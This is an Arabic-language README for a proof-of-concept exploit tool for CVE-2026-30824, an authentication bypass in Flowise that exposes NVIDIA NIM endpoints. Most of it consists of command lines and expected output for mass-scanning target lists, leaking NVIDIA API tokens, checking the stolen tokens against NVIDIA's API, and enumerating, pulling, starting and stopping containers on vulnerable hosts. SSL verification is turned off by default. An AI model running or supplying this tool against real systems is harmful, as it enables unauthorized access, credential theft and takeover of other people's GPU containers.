
إثبات مفهوم لاستغلال **CVE-2026-30824**، وهي ثغرة حرجة في تجاوز المصادقة في Flowise تكشف نقاط نهاية NVIDIA NIM API دون مصادقة.
أداة إثبات مفهوم للفحص والاستغلال لثغرة CVE-2026-30824، وهي ثغرة حرجة في تجاوز المصادقة في Flowise تكشف نقاط نهاية NVIDIA NIM API دون مصادقة.
CVE-2026-30824 هي ثغرة حرجة في تجاوز المصادقة في Flowise (< 3.0.13) تسمح للمهاجمين عن بُعد دون مصادقة بالوصول إلى إدارة حاويات NVIDIA NIM ونقاط نهاية توليد رموز API.
| الحقل | القيمة |
|---|---|
| درجة CVSS | 9.8 (حرجة) |
| CWE | CWE-306: غياب المصادقة للوظائف الحرجة |
| الإصدارات المتأثرة | Flowise < 3.0.13 |
| الأثر | إدارة كاملة للحاويات، وصول إلى GPU، سرقة الرموز |
مسار /api/v1/nvidia-nim/* مدرج في القائمة البيضاء في البرمجية الوسيطة العامة للمصادقة، مما يسمح بالوصول دون مصادقة إلى:
✅ اكتشاف الثغرة — فحص سريع لمعرفة ما إذا كان الهدف معرضًا للخطر
✅ استخراج الرموز — تسريب رموز NVIDIA API من نقاط النهاية المعرضة
✅ التحقق من الرموز — التحقق من الرموز المسربة مقابل NVIDIA API (إظهار نطاق الأثر)
✅ تعداد الحاويات — عرض حاويات NIM قيد التشغيل
✅ الفحص الجماعي — فحص أهداف متعددة من ملف
✅ تجاوز SSL — تجاهل الشهادات ذاتية التوقيع افتراضيًا
✅ مخرجات ملونة — مؤشرات حالة سهلة القراءة (أخضر/أصفر/أحمر)
✅ الاستطلاع — رسم خرائط كامل لنقاط النهاية والتشخيص
requests# استنساخ أو تنزيل السكربت
git clone <repository>
cd cve-2026-30824
# تثبيت التبعيات
pip install -r requirements.txt
# أو
pip install requests
# فحص ما إذا كان هدف واحد معرضًا للخطر
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# المخرجات المتوقعة (معرض للخطر):
# [+] الهدف يبدو معرضًا للخطر (HTTP 200)
# الاستجابة: {...}
# إنشاء targets.txt مع عنوان URL واحد في كل سطر
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# فحص جميع الأهداف (وضع سريع، بدون مطالبات)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# ملخص المخرجات المتوقع:
# ============================================================
# [*] ملخص الفحص
# ============================================================
# [+] معرض للخطر: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] تم التصحيح: 1
# ✗ http://192.168.1.102:3000
# تسريب رمز NVIDIA API من نقطة النهاية المعرضة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# المخرجات المتوقعة:
# [*] محاولة تسريب رمز NVIDIA API...
# [+] رمز NVIDIA API: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] نوع الرمز: Bearer
# [+] تنتهي الصلاحية خلال: 3600 ثانية
# التحقق من أن الرمز المسرب يعمل مقابل NVIDIA API الحقيقي
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# المخرجات المتوقعة:
# [*] التحقق من الرمز مقابل NVIDIA API...
# [+] الرمز صالح! الوصول إلى 45 نموذج NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# تعداد الحاويات على الهدف
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# المخرجات المتوقعة:
# [*] عرض الحاويات قيد التشغيل...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# تشغيل جميع فحوصات الاستطلاع على الهدف المعرض
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
الحجج الاختيارية:
-h, --help عرض رسالة المساعدة والخروج
-t, --target TARGET عنوان URL للهدف (مثل: http://192.168.1.100:3000)
-f, --targets-file FILE ملف يحتوي على قائمة الأهداف (واحد في كل سطر)
اكتشاف الثغرة:
--check فحص ما إذا كان الهدف معرضًا للخطر فقط
--scan-only فحص الأهداف بحثًا عن الثغرة دون مطالبات
--debug عرض تفاصيل الطلب والاستجابات الخام
الاستغلال:
--get-token تسريب رمز NVIDIA API
--validate-token TOKEN التحقق من الرمز المسرب مقابل NVIDIA API
--list-containers عرض حاويات NIM قيد التشغيل
--get-container CONTAINER_ID الحصول على تفاصيل الحاوية
--get-image IMAGE_ID الحصول على تفاصيل الصورة
--pull-image IMAGE_TAG سحب صورة Docker (مثل: nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG تشغيل حاوية من علامة صورة
--container-name NAME اسم الحاوية التي تم تشغيلها
--stop-container CONTAINER_ID إيقاف حاوية قيد التشغيل
--preload تشغيل نقطة نهاية التحميل المسبق للموارد
--all تشغيل جميع فحوصات الاستطلاع
متقدم:
--timeout SECONDS مهلة الطلب بالثواني (الافتراضي: 15)
# 1. فحص الشبكة الفرعية بالكامل بحثًا عن الحالات المعرضة
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. لكل هدف معرض، استخراج الرمز
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. التحقق من تأثير الرمز
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# التحقق من الثغرة وإظهار نطاق الأثر الكامل
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# سيؤدي هذا إلى:
# 1. فحص الثغرة
# 2. استخراج رمز NVIDIA API
# 3. التحقق من الرمز مقابل NVIDIA API
# 4. عرض الحاويات قيد التشغيل
# 5. إظهار تعداد الموارد
# مراقبة هدف بشكل دوري (عبر cron أو المجدول)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | المعنى |
|---|---|
| 200 | ✅ معرض للخطر (نقطة النهاية قابلة للوصول) |
| 400 | ✅ معرض للخطر (خطأ في التطبيق لكن نقطة النهاية موجودة) |
| 401 | 🟡 تم التصحيح (المصادقة مطلوبة) |
| 404 | 🟡 ليس Flowise أو نقطة النهاية غير موجودة |
| 5xx | 🔴 خطأ في الخادم/إعداد خاطئ |
المشكلة: تعيد نقطة النهاية صفحة HTML بدلاً من استجابة JSON API.
الحلول:
المشكلة: لا يمكن الوصول إلى الهدف.
الحلول:
# اختبار الاتصال
curl -v http://192.168.1.100:3000/
# زيادة المهلة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
المشكلة: يستخدم الهدف شهادة ذاتية التوقيع أو منتهية الصلاحية.
الحل: يعطل السكربت التحقق من SSL افتراضيًا. إذا استمرت المشكلات:
# إضافة المنفذ والبروتوكول صراحةً
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
المشكلة: تم استخراج الرمز لكن التحقق مقابل NVIDIA API يفشل.